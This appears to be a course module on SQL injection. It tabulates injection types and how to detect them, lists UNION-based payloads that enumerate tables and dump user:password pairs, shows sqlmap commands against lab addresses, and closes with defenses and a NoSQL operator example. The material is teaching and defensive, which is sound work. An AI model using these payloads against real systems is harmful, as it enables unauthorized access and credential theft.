

SQL Injection Deep

The injection family

Type	How it manifests	Detection
Error-based	DB error leaks query shape	send a quote `` and read the error
Union-based	<code>UNION SELECT</code> merges rows	align column counts: <code>ORDER BY n</code>
Boolean blind	True/False differences in response	compare <code>' AND 1=1</code> vs <code>' AND 1=2</code>
Time-based blind	<code>SLEEP(5)</code> timing	measure response delay
Second-order	Stored payload fires later	store via one flow, trigger at another

Finding columns & dumping (lab)

```
# column count walk:
' ORDER BY 1-- - (then 2,3.. until error)
# union with matching columns:
' UNION SELECT 1,2,3-- -
# pull database/table/column names:
' UNION SELECT table_name,2,3 FROM information_schema.tables-- -
# dump:
' UNION SELECT concat(user,0x3a,password),2,3 FROM users-- - (MySQL)
```

Blind shortcuts

`sqlmap` (great accelerator, understand it):

```
sqlmap -u 'http://10.0.0.20/search.php?a=1' --batch --dbs --tamper=space2comment
sqlmap -u 'http://10.0.0.20/login.php' --forms --batch
```

Defenses

Parameterized queries (the only real fix for classic SQLi)

Least-privilege DB account (app never connects as dba / sa)

WAF as throat-clearing (not a fix; and bypasses exist)

Universal: input validation for *type*, output parametrization, no dynamic SQL

Secret-handling: no query-spliced API keys

Modern twist: NoSQL & ORM injection

NoSQL (Mongo): `{"$ne":null}` operators

ORMs: raw `Query` /entity-translation unsafe when concatenated; use builders/parameterized everywhere

GraphQL (later module deeper)

SQLi is the grandmaster of the injection family. Master *how it works*, not just 'run sqlmap'. The parameterized fix is your ambassador answer in every interview and every report.

[← Module start](#)

[Cross-Site Scripting \(XSS\) Dee...](#)